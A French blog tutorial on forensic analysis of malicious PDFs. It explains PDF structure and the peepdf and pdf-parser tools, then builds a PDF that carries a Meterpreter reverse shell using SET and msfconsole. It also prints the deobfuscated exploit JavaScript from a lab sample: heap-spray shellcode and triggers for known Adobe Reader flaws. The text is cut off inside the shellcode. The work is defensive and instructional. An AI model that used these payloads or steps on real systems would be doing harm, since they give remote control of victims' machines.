Post

Analyse forensic de PDF malveillant et compréhension de la structure

Introduction

Les fichiers PDF (Portable Document Format) sont des formats de document électronique mis au point par Adobe Systems en 1990 afin de répondre au besoin de partager les documents entre différents ordinateurs sans risque de comptabilité. Ils sont en effet destinés à être lus sur n’importe quel ordinateur, sans programme tiers. L’avantage d’un fichier PDF est qu’il permet de combiner des textes, des images, des graphiques et bien d’autres éléments dans un même format de données, qui peut être partagé et imprimé tout en garantissant une excellente façon de conserver les documents en l’état original ;) Cela vient du fait que le format protège la disposition du document et empêche les modifications involontaires de l’apparence du document.

Aujourd’hui, les PDF sont un point central de l’échange d’informations. Entre 2007 et 2015, le nombre de pages papier imprimées dans le monde a diminué de 20 %, et plus de 85 % des professionnels du secteur privé et public utilisent régulièrement les documents PDF pour partager les informations.

Ce format de fichier a pris de plus en plus d’ampleur avec le temps jusqu’à devenir aujourd’hui l’un des références dans le partage de fichiers. Cependant, avec l’ajout de macros et la possibilité d’exécuter du code JavaScript dans ces fichiers, les PDF ont été la cible d’attaques, jusqu’à contenir des virus lorsque vous les ouvrez. Les fonctions de macro et JavaScript ayant été détournées pour exécuter du code malveillant lors de l’ouverture, nous verrons dans cet article comment cela est possible, et surtout comment analyser un PDF dans le cadre d’une enquête forensic.

Contenu d’un pdf

Avant d’essayer de les analyser, il faut d’abord comprendre leur structure et leur contenu. Tous les PDF ont la même structure, qui sert à un but précis. Ils sont au nombre de quatre : Header, Body, Cross-reference table et Trailer.

Nous allons voir maintenant une analyse plus détaillée de chaque partie.

Cette partie inclut la version du protocole utilisée lors de sa construction. Cette information est essentielle pour garantir que le programme de lecture interprète correctement le reste de la structure et renvoie l’ensemble des éléments de manière adéquate.

Image

Body

Le body du PDF contient le plus d’informations utiles. Il va contenir les objets qui composent ce fichier.

Dans le cadre de cet article, nous nous pencherons sur la composition et le type des objets, qui inclut des éléments tels que des pages, des images, du texte, des polices et autres composants. Notre analyse portera également sur le code et les actions automatisées, le cas échéant, lorsque le fichier en est pourvu. Les objets contiennent toutes les informations de notre PDF ! Pour cela, nous devons en savoir plus et nous allons examiner plus en détail ces objets :

Les objets

Tous les types d’objets :

  • Catalog | Il s’agit de l’objet principal d’un fichier PDF, car il définit la structure de tout le document, notamment des pages et des enregistrements d’annotation. Il n’y a généralement qu’un seul objet « Catalog » dans un fichier PDF !

  • Page | Cet objet permet de définir la taille et la position de chaque page du document. Elle contient les tailles, les positions…

  • Annot | Les objets « annot » servent à insérer des annotations dans le document, comme des notes ou des liens. Il existe plusieurs types d’objets « annot » : les « link », les « widget », les « textannotation »…

  • XObject | Il s’agit d’un outil permettant de stocker des données graphiques complexes dans un fichier PDF. Il servira à stocker des images, des SVG ou d’autres éléments graphiques. Encore une fois, il existe plusieurs sous-types d’XObject, tels que les FormXObject, ImageXObject, etc.

  • /Encoding | Les objets encoding vont être utilisés pour stocker des informations sur la codification des caractères. Comme des polices de caractères en Unicode, UTF-8.

  • /Resource | Les “Resource”, quant à elles, servent à stocker des informations sur les différents types de ressources utilisées dans le document. Elles servent à stocker des polices, des images, des courbes vectorielles, etc. Il existe souvent plusieurs objets « Resource » dans un PDF.

  • /AA | L’objet /AA dans un PDF contient une série d’actions déclenchées par différentes circonstances, telles que la visualisation d’une page, le survol d’objets avec la souris ou le remplissage de champs de formulaire. Les risques associés sont similaires à ceux de l’objet /OpenAction, mais avec un plus grand nombre de scénarios déclencheurs, ce qui peut augmenter les opportunités d’exécution de code malveillant.

  • /JS /Javascript | Cet objet contient du code JavaScript à exécuter après le déclenchement d’une action. Ce code peut inclure des fonctions exclusives aux PDF.

  • /EmbeddedFile | L’objet /EmbeddedFile dans un PDF permet d’inclure des fichiers arbitraires, comme des documents ou des fichiers exécutables, à l’intérieur du fichier PDF. Il a été observé que des fichiers PDF apparemment bénins peuvent contenir des fichiers nuisibles intégrés, tels que des exécutables malveillants ou des documents Microsoft Office avec des macros malveillantes.

  • /ObjStm | Un objet ObjStm dans un PDF est un flux contenant plusieurs objets compressés pour optimiser la taille du fichier. Il est utilisé pour regrouper des objets indirects, mais peut aussi servir à masquer du code malveillant. Sa présence seule n’indique pas nécessairement une menace.

  • /OpenAction | L’objet /OpenAction dans un PDF définit un ensemble d’actions à exécuter lors de l’ouverture du fichier. Cela peut inclure l’ouverture d’un site Web, l’exécution de code JavaScript, ou d’autres actions qui pourraient inciter l’utilisateur à réaliser des actions potentiellement nuisibles. Dans certains cas, cet objet peut même exécuter directement un logiciel malveillant.

Il en existe bien d’autres tels que les /Font, /Comments … Cependant, je vous épargne une énumération complète des objets pour se concentrer sur les plus importants pour notre domaine ;)

Cross-reference table

Aussi connue sous le nom de table XRef, celle-ci est utile dans le cadre de la navigation au sein des documents PDF. Une table des matières numérique, similaire à une table des matières classique, facilite l’accès aux différents objets d’un document. En effet, cette table des matières numérique fournit une liste exhaustive des objets présents dans le document, ainsi que leurs emplacements respectifs. Si, à un moment donné, le lecteur doit renvoyer un objet spécifique (par exemple, en faisant défiler une page aléatoire d’un grand document), le logiciel de lecture verra quelle page il doit renvoyer et la recherchera dans cette table pour localiser les éléments respectifs dans le corps du document et les afficher à l’écran.

Trailer

Il s’agit de l’emplacement du document où sont localisées la table des références croisées et diverses informations pertinentes, telles que le nombre d’objets dans ladite table (permettant, par exemple, de vérifier l’intégrité du fichier), l’objet racine du document et, le cas échéant, les informations de chiffrement. Par conception, les lecteurs de fichiers PDF commencent la lecture des documents à partir de la fin, où ils peuvent identifier rapidement l’emplacement de l’objet racine et du tableau des références croisées, afin de débuter le rendu du contenu.

Image

Analyser d’un PDF

L’analyse d’un PDF repose principalement sur l’analyse de ses objets. Ce sont en effet eux qui contiennent la grande majorité des informations importantes trouvées à l’intérieur et qui peuvent nous aider à réaliser cette analyse.

Analyse des objets Il faut savoir que pour analyser les objets, on peut le faire de deux manières :

  • Avec un script personnalisé
  • Avec un outil Nous allons voir les deux méthodes, même si l’utilisation d’un outil reste le cas le plus courant. La création de scripts personnalisés reste une méthode viable pour des cas particuliers, mais nous n’allons pas nous attarder sur ce point.

Avec un script personnalisé

L’un des premiers scripts que l’on peut faire est un script qui permet d’analyser la table des références croisées (xref) du PDF afin de connaître la structure globale et de déterminer par où commencer à chercher.

En utilisant ce script qui permet d’ouvrir un fichier PDF, on va itérer sur la table XREF afin d’afficher chaque objet dans l’output :)

1
2
3
4
5
6
7
import pymupdf
doc = pymupdf.open("file.pdf")  
xreflen = doc.xref_length()  # Le nombre d'entré de la table xref
for xref in range(1, xreflen):  # on skip l'objet 0
	print("")
	print(f"Object {xref}, stream: {doc.xref_is_stream(xref)}")
	print(doc.xref_object(xref, compressed=False))

Image

Une fois le script exécuté, on va voir tous nos objets, mais l’objectif de cet article n’est pas de faire une analyse de PDF à la main et de recoder tout ce qui existe déjà, mais plutôt d’utiliser des outils disponibles et continuellement améliorés afin de réaliser une analyse complète et approfondie permettant de comprendre comment des commandes peuvent être exécutées au sein d’un PDF.

Outils

**Peepdf** PeePDF est un logiciel gratuit et open source qui analyse les fichiers PDF. Ses fonctionnalités incluent l’accès et la visualisation des informations contenues dans un document PDF, telles que les métadonnées, la structure interne du document ou les propriétés des objets graphiques. PeePDF est utilisé dans le cadre d’enquêtes forensiques et de recherches d’informations sensibles ou confidentielles dans des documents PDF.

Installation

Pour installer peePDF, il suffit de lancer cette commande qui va télécharger et installer le repo github de “digitalsleuth” dans notre environnement virtuel créé grâce à python.

1
2
3
python3 -m venv dep
source ./dep/bin/activate
python3 -m pip install git+https://github.com/digitalsleuth/peepdf-3.git

Lancement

Utilisation normale de peepdf

1
peepdf {PDFName}.pdf

Options

1
2
3
4
5
6
7
╔═══════════╦══════════════════════════════════════╗
║   Option  ║       Description                    ║
╠═══════════╬══════════════════════════════════════╣
║     -f    ║ Ignore les erreurs                   ║
║     -i    ║ Interactive mod                      ║
║     -l    ║ Afficher des informations détaillées ║
╚═══════════╩══════════════════════════════════════╝

Commandes

1
2
3
4
5
6
7
8
9
10
11
12
13
╔════════════════════════════════╦══════════════════════════════════════════════════════════════════╗
║   Option                       ║       Description                                                ║
╠════════════════════════════════╬══════════════════════════════════════════════════════════════════╣
║  object {ObjectId}             ║ Permet d’avoir les détails d’un objet                            ║
║  tree                          ║ Permet d’avoir la visualisation sous forme d’arbre des objets    ║
║  offsets                       ║ Permet d’avoir une visualisation de la structure physique du pdf ║
║  metadata                      ║ Permet de voir les metadatas du document                         ║
║  rawobject {ObjectId}          ║ Permet de voir un objet sans qu’il ait été décodé préalablement  ║
║  stream {ObjectId}             ║ Même idée que “rawobject”                                        ║
║  references to {ObjectId}      ║ Permet de voir ou un objet est référencé                         ║
║  js_analyse object {ObjectId}  ║ Permet de voir le contenu d’un objet javascript                  ║
║  js_beautify object {ObjectId} ║ Permet de voir le contenu d’un objet javascript                  ║
╚════════════════════════════════╩══════════════════════════════════════════════════════════════════╝

**Suite DidierStevensSuite**

Installation

1
2
git clone <https://github.com/DidierStevens/DidierStevensSuite>
cd DidierStevensSuite

Lancement

1
2
python3 pdfid.py {PDFName}.pdf
python3 pdf-parser.py {PDFName}.pdf

Commandes

Pour lister le nombre de chaque objet dans le pdf

1
pdf-parser.py -a {PDFName}.pdf

Pour afficher le contenu d’un objet.

1
pdf-parser.py -o {ObjectId} {PDFName}.pdf

| Si un fichier est chiffrer avec du FlateCode, on peut utiliser l’option -f

1
2
pdf-parser.py -o {ObjectId} -f {PDFName}.pdf
Pour trouver les objets cachés, on utilise l’option -O
1
pdf-parser.py -a -O {PDFName}.pdf

Pour trouver les fichiers embarqués dans le pdf

1
pdfdetach {PDFName}/pdf -list

Pour trouver un mot clé dans le PDF

1
pdf-parser.py --search embedded {PDFName}.pdf

| Il s’agit ici des commandes les plus importantes. Elles ne sont pas toutes citées !

Analyse de PDF

Création de PDF malveillant

Avant de vouloir analyser un PDF malveillant, essayons ici de créer un fichier malveillant pour comprendre à quel point il est facile de le faire, mais aussi comment identifier les modèles afin de les reconnaître. Vous allez voir que cette création est très rapide, très simple et surtout, accessible à tous. C’est pour cela qu’il faut faire attention aux fichiers qu’on ouvre et s’assurer de leur provenance.

L’outil que nous allons utiliser aujourd’hui pour générer un PDF malveillant s’appelle Setoolkit. Il est disponible à ce lien. Il a été développé par David Kennedy depuis 2020 et il fait partie de TrustedSec. Cet outil est un framework open source destiné à l’ingénierie sociale en exploitant ses vecteurs d’attaque, tels que le PDF ;) Je rappelle encore une fois que cet article est à but informatif et qu’il ne sert pas à réaliser des attaques.

Voici les commandes nécessaires à l’installation de l’outil :

1
2
3
4
5
6
git clone <https://github.com/trustedsec/social-engineer-toolkit>
cd social-engineer-toolkit
python3 -m venv dep
source dep/bin/activate
pip install -r requirements.txt
python3 setup.py

Une fois l’outil installé, nous pouvons nous lancer dans la création d’un PDF contenant du code malveillant. L’objectif sera de créer un PDF avec un reverse shell permettant de contrôler l’ordinateur de la victime à distance via notre propre ordinateur.

On va maintenant voir les étapes pour créer le pdf malveillant :

  • Lancer la commande de lancement de Setoolkit
    1
    
    sudo setoolkil
    
  • Choisir le mode de Social-Engineering Attacks (1)

Image

  • Choisir le mode de Spear-Phishing Attack Vectors (1)

Image

  • Choisir le “Create a FileFormat Payload” (2)

Image

  • Choisir “Adobe PDF Embedded EXE Social Engineering” (13)

Image

  • Faire “Use your own PDF for attack” (1)

Image

  • Faire “Windows Meterpreter Reverse_TCP”

Image

  • Il faudra ensuite renseigner l’IP et le PORT du pc hôte

Image

Nous voilà avec un PDF malveillant créé ! Nous venons de voir à quel point il est simple de créer un fichier PDF malveillant. Maintenant, nous allons voir son exécution avant de passer à son analyse. ;)

Pour l’exécution, il faudra au préalable lancer le serveur meterpreter sur le pc hôte afin de pouvoir récupérer les résultats ! Voici la liste de commande afin de lancer meterpreter et écouter un retour :

1
2
3
4
5
6
7
sudo msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options 
set LHOST {IP}
set LPORT 443 
run

Image

Une fois le serveur en écoute, il nous suffit d’aller récupérer le PDF qui a été créé dans le chemin :

1
/root/.set/

puis nous allons le décaler vers nos fichiers afin de pouvoir l’utiliser plus simplement

1
sudo mv /root/.set/{PDFName}.pdf /home/{User}

Une fois que nous ouvrons le document, le meterpreter se connecte et reste en attente de l’exécution d’une commande ! À ce stade, la partie est gagnée, car nous avons gagné l’accès complet à la machine cible. Nous pouvons ainsi exécuter la commande sysinfoafin d’obtenir les informations du système. Nous pourrons ensuite exécuter tout type de commande sans problème et sans que la personne ne s’en rende compte.

Image

Analyse de PDF 1

Comme toute analyse de PDF qui se respecte, il faut commencer par voir la structure de celui-ci. Cette analyse sera réalisée à l’aide de l’outil PeePDF que nous avons vu précédemment.

Become a member Pour visualiser la structure d’un PDF avec PeePDF, il faut d’abord utiliser la commande.

1
peepdf -f {PDFName}.pdf

Image

Nous voyons ici la structure du PDF généré avec deux versions ainsi que d’autres informations telles que le Hash du fichier ou bien la taille.

Peepdf va ici nous remonter les parties classiques du PDF en bleu. Cependant, ce qui nous intéresse ici, ce sont la partie jaune « Suspicious elements» et les « Objects with JS code », car c’est là que l’on pourra trouver du code et potentiellement, les payloads malveillants.

Image

Il nous faut trouver ici les liens avec l’objet 23 et un autre objet afin de trouver le fichier « form.pdf ». Il faut savoir qu’il est possible de cacher un fichier dans un PDF. C’est comme une chasse au trésor !

En regardant avec les commandes de peepdf, on voit qu’il est possible de vérifier les références d’un objet. En effectuant cela, on peut trouver un lien entre l’objet 20 et l’objet 23.

Image

Bingo ! En regardant le contenu de l’objet 20, on trouve un objet Filespec avec le fichier form.pdf à l’intérieur. Celui-ci contenant uniquement les informations globales, le contenu disponible dans l’objet 21 est présenté ci-dessous :

1
/EF << /F 21 0 R >> >>

Il nous suffit d’aller voir cet objet pour connaître le contenu du PDF. Pour cela, il suffit d’extraire le contenu, car un PDF est long. Ensuite, on verra de quoi il s’agit.

Image

Nous avons donc extrait le code du PDF et vérifié qu’il s’agissait bien d’un fichier. En l’étudiant de plus près, nous avons pu déceler plusieurs éléments préoccupants quant à son utilisation :

  • Des requests
  • Des stats sur le nombre de requête envoyés
  • Des sockets
  • Un serveur apache !

Image

On est proche de trouver le code qui est utilisé pour faire le reverse shell. Nous avons tous les indices nécessaires pour y parvenir, il ne nous reste plus qu’à trouver l’endroit où il se situe. Pour cela, il nous suffit d’examiner le contenu du fichier jusqu’à ce que nous trouvions un moment qui indique la connexion au serveur web. À force de chercher, on trouve une URL hostname:port avec des requêtes POST qui peuvent être utilisées pour contrôler l’ordinateur de la victime !

Image

On vient donc de retrouver la charge utile de ce PDF grâce à l’outil Peepdf. Il était généré par setoolkit et contenait en réalité un fichier caché. On peut donc maintenant connaître le fonctionnement de ce PDF pour réaliser cette attaque de shell inversé, et voici les étapes.

Dans un premier temps, la partie contenu dans /launch sera exécutée au lancement du PDF, ce qui cherchera et exécutera le fichier form.pdf. Ce fichier contient la charge utile d’un serveur ApacheBench qui va s’exécuter directement lors de l’ouverture et qui va ensuite écouter sur le port et l’hostname avant de pouvoir recevoir des commandes ! 😀

Plus simplement, voici les étapes :

  • /launch qui lance un fichier caché form.pdf
  • Le fichier form.pdf contient un serveur ApacheBench
  • Le serveur va s’exécuter a l’ouverture du pdf
  • On a juste a écouter sur le port pour exécuter la commande

Analyse de pdf 2

Pour cette deuxième analyse, je vais utiliser un pdf provenant de Cyberdefenders, une plateforme d’entraînement axée sur la Blue Team qui propose un laboratoire d’analyse de PDF très complet.

Le lab se nomme GetPDF Lab et vous pouvez le retrouver à ce lien. Il suffit d’extraire le PDF depuis la trame réseau (rapide avec Wireshark) pour l’avoir.

Une fois le PDF obtenu, on peut faire une première visualisation de la structure.

Image

On voit à nouveau les objets qui vont nous intéresser en jaune. Cependant, cette fois, on remarque un getAnnots (CVE-2009–1492) qui est une vulnérabilité connue pour permettre une exécution de code à distance ;) Peepdf nous permet de le remonter du fait de sa connaissance.

En regardant celui-ci, on se rend compte qu’il y a du code à l’intérieur

Image

on peut essayer de desobfusquer grâce à la commande js_beautify.

Image

Nous avons maintenant un aperçu plus détaillé du code JavaScript qui est exécuté. En le regardant, on voit qu’il va scanner tous les fichiers Annot grâce à syncAnnotScan() puis effectuer des actions sur ceux-ci.

Avec la commande “tree”, on va voir qu’on a 3 objets Annot

Image

  • L’objet 6
  • L’objet 8
  • L’objet 24

Objet 6

On va voir le contenu de l’objet 6

Image

Cet objet nous redirige vers l’objet 7 (/Subj) qui contient lui une suite incompréhensible pour le moment.

Image

L’objet 8

Image

Celui-ci nous redirige vers l’objet 9 qui contient également une suite incompréhensible.

Image

Objet 24

En regardant l’objet, nous avons ça :

Image

Il contient une image, donc peu intéressant pour l’instant

En cherchant plus loin, on voit également l’objet 10 qui contient du texte incompréhensible, comme les deux premiers. On va le garder en tête.

Image

On va garder ces trois fichiers au chaud en les exportant 🙂

Image

Le fichier Javascript que nous avons désobfusqué nous indique une suite de caractère avec un .split que l’on le retrouve dans le fichier 10. On va donc essayer de les enlever

Image

Ensuite, on va recevoir un payload en hexadécimal qu’on pourra décoder avec notre ami Cyberchef !

Image

Nous avons à ce stade, ce résultat :

1
____SS=1;____$5=____SSS[____SS].subject;____$S=0;____$=____$5.replace(/X_17844743X_170987743/g,"%");____S5=____SSS[____$S].subject;____$+=____S5.replace(/89af50d/g,"%");____$=____$.replace(/\\n/,"");____$=____$.replace(/\\r/,"");____S$=unescape(____$);app.eval(____S$);

On peut voir deux choses choquantes à l’intérieur. Le premier est le replace de /89af50d/g avec “%” et le second est le replace de /X_17844743X_170987743/g avec “%”.

Le seul endroit où l’on retrouve le deuxième motif est le fichier 9, où il est match un grand nombre de fois.

Image

On va donc le remplacer par le signe qu’on avait avant “%” ce qui nous donne une chose qui se rapproche d’un payload !

Image

On peut ainsi le décoder (via CyberChef) car il s’agit d’une représentation hexadécimale pour trouver le code malveillant !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
var w = new String();
var c = app;
function s(yarsp, len) {
        while (yarsp.length * 2 < len) {
                yarsp += yarsp;
                this.x = false;
        }
        var eI = 37715;
        yarsp = yarsp.substring(0, len / 2);
        return yarsp;
        var yE = 18340;
}
var m = new String("");
function cG() {
            var chunk_size, payload, nopsled;
            
            chunk_size = 0x8000;
			// calc.exe payload
			payload = unescape("%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u1118%uffe5%uf48a%udf14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabcf%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf89a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3cdb%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uf60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90");
			nopsled = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
            while (nopsled.length < chunk_size)
                nopsled += nopsled;
            nopsled_len = chunk_size - (payload.length + 20);        
            nopsled = nopsled.substring(0, nopsled_len);
            heap_chunks = new Array();
            for (var i = 0 ; i < 2500 ; i++)
                heap_chunks[i] = nopsled + payload;
 
            util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
            try {
                media.newPlayer(null);
            } catch(e) {}
            util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
var iF = function() {};
function cN() {
        var o = "o";
		// freecell.exe payload
        var payload = unescape("%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6fbe%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u50c7%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u7bef%u4d0b%u4095%u10c6%udea5%ue327%u47ed%u9d3e%u28f4%u51cb%ucfd7%u746c%u8c04%u286b%u95cd%u4396%u0b57%u58e2%ue11e%u508a%uab14%uf7cf%uab12%ufb47%u96c3%u9932%ud41d%u3bda%u7d77%uf214%ub242%u636f%u299d%u2962%u7be8%u7fe4%ub283%ub18f%uee39%u7b09%ub7de%ue345%u8c16%u2e59%u59c0%u6fa5%u263f%uda5e%u8219%ua5d1%u54fc%u0474%u75fc%u53b1%u7f0b%u599a%u9409%u48e7%uf318%u71c6%uc930%u6317%u3126%ua923%u2249%ua830%u4247%uad22%u3340%ude7b%u9f86%ue365%u8693%ufdba%u5594%u0f8f%u59bf%u0de8%u74d9%u16ff%ua327%u1cf0%ub333%u021a%uda1c%u2831%u2868%u583f%u1c0a%u720b%u6af0%u8a62%u64fe%u8883%u7ecc%u83ab%u823a%ufd8c%u0ead%u8e59%uc117%u0c8e%u7204%ufeb6%ue3bc%u9a56%u9545%u10c3%u0698%ube7e%ub5ca%u6f07%u2a75%u0a8a%uc717%ub603%u44b8%u59bc%ue62b%uf459%u93d4%u658e%u377a%u14a6%ua20e%ue517%u49c0%u6cd0%u419d");
		this.dN = "";
        var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
        var hW = new String();
        var heapblock = nop + payload;
        this.qA = "qA";
        var bigblock = unescape("%u0A0A%u0A0A");
        this.alphaY = 12267;
        var headersize = 20;
        var spray = headersize + heapblock.length;
        var jZ = '';
        var jY = "";
        while (bigblock.length < spray) {
                this.r = "r";
                bigblock += bigblock; 
                var edit = "edit";
        }
        this.xGoogle = '';
        this.vY = false;
        var fillblock = bigblock.substring(0, spray);
        var iP = function() {};
        var block = bigblock.substring(0, bigblock.length - spray);
        var googleD = false;
        this.fUEdit = "";
        while (block.length + spray < 0x40000) {
                block = block + block + fillblock;
                this.bJ = '';
        }
        var googleQ = '';
        this.nW = '';
        var mem_array = new Array();  
        var cH = new String();
        var nVO = new String("");
        for (var i = 0; i < 1400; i++) {
                mem_array[i] = block + heapblock;
                var sQ = new String("");
        }
        var wC = '';
        var num = 1299999999999999999988888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888

On peut faire la même chose en remplaçant « 89af50d » par « 7 » dans l’objet 7, puis en décodant l’hexadécimal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
        this.bC = 3699;
        util.printf("%45000f", num);  
}
var eQ = "";
function gX() {
        var basicZ = '';
		// notepad.exe payload
        var shellcode = unescape("%uc931%u64b1%ub6bf%u558b%ud976%ud9cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031%u6cf7%ua2b6%u1838%u2007%u1d29%ua0b1%u0314%uaee1%ufbd8%u96df%ua80b%uc7cd%uca91%ubfab%u7091%uea13%u7a32%u7bb1%u5ba0%ue130%u3b9f%u8d42%ue4ba%u28a0%u4e20%u29d6%u0147%uf2cc%ucff0%uffb9%u2f62%uc948%u2904%ud333%ude69%u2b88%u10f3%u776b%uedee%uef80%u9fcf%u89c2%uc649%uf510%u36e3%u10fb%ud153%u40ef%u4d82%u41f6%ue4ae%u5cb1%uf58a%uaa78%u3472%u750f%u52e6%u712a%u9faf%u5fea%uc24a%u9cf3%u64f2%u0559%u5ecc%u7957%u0607%ue3a9%u828a%u26fc%uc2cc%u7f97%u1577%u2a0a%u9c21%u73c8%ube3e%u4838%uf571%u04de%uca4d%ue02c%u6126%u4c09%ucab8%u16cf%ueb5c%u3af3%uf869%u3ffd%u02b2%u2bfc%u17bf%u3214%u149e%u8f05%u0fff%uec38%u0df4%ue632%u5709%u0f5f%u481a%u6947%u7913%u5680%u864d%ufe94%u9652%uec98%ua8a6%u13b3%ub6c0%u39da%ub1c7%u1421%ub9d8%u6f32%udef2%u091c%uf4e9%ude69%ufd04%ud308%ud722%u1af7%u2f5a%u15f2%u2d5b%u2f31%u3e43%u2c3c%u26a4%ub9d6%u2921%u6d1c%uabe5%u1e0c%u059e%u8fa4%u3f0e%u3e4d%ucbaa%ud183%u5346%u40f5%ub4de%uf46f%uae52%u7901%u53fa%u1e82%uf294%u8d50%u9b01%u28cf%u50e5%ud262%ue195%u661d%u2003%ufeb8%ubcae");
		var mem_array = new Array();  
        this.googleBasicR = "";
        var cc = 0x0c0c0c0c;
        var addr = 0x400000;
        var sc_len = shellcode.length * 2;
        var len = addr - (sc_len + 0x38);
        var yarsp = unescape("%u9090%u9090");
        this.eS = "eS";
        yarsp = s(yarsp, len);
        var count2 = (cc - 0x400000) / addr;
        this.rF = false;
        this.p = "p";
        for (var count = 0; count < count2; count++) {
                mem_array[count] = yarsp + shellcode;
        }
        var bUpdate = new String(""); 
        var overflow = unescape("%u0c0c%u0c0c");
        var cP = function() {};
        this.gD = "";
        while (overflow.length < 44952) {
                this.tO = "";
                overflow += overflow; 
        }
        var adobeD = new String();
        this.collabStore = Collab.collectEmailInfo({
                subj: "",
                msg: overflow
        });
}
function updateE() {
        var xI = new String("");
        if (c.doc.Collab.getIcon) {   
                var arry = new Array();
				// cmd.exe payload
                var vvpethya = unescape("%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b98%u47f2%u2af0%ub1cc%u03cf%u2707%ufe1e%ued8a%uca57%u23cd%u030e%u7277%u39bc%ubf21%u6423%udf3e%u5d93%uea71%u2a42%u2b4d%ud7b8%u0626%u7de4%ue9b8%ue771%uc85c%u0a82%u1f69%u2e8c%u1db2%u258c%u34bf%u2085%u359e%u98b7%u2cff%ue0a5%u6cf4%uf3c6%u7409%uf5ca%u6919%u60cd%u9a13%u4e19%ua74d%uf71c%ub952%uea11%ucba6%u0839%ud1c0%u2527%ud2c7%u10a5%ud8d8%u62bd%ufff2%u0b9a%uebe9%udfee%u1c04%ud389%u3622%u1d77%u4e5a%u177d%u4c5b%u21b3%u5f43%u31b9%u39a4%ubd2a%u4a21%u1291%uc8e5%u0389%u229e%ub43a%u5